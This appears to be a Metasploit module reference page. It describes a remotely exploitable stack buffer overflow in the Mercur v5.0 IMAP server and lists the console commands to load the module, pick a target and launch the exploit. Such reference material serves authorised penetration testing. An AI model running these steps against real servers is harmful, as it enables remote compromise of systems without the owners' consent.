Mercur v5.0 IMAP server is prone to a remotely exploitable stack-based buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed size memory buffer. Credit to Tim Taylor for discover the vulnerability.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/imap/mercur_imap_select_overflow
msf exploit(mercur_imap_select_overflow) > show targets
...targets...
msf exploit(mercur_imap_select_overflow) > set TARGET < target-id >
msf exploit(mercur_imap_select_overflow) > show options
...show and set options...
msf exploit(mercur_imap_select_overflow) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
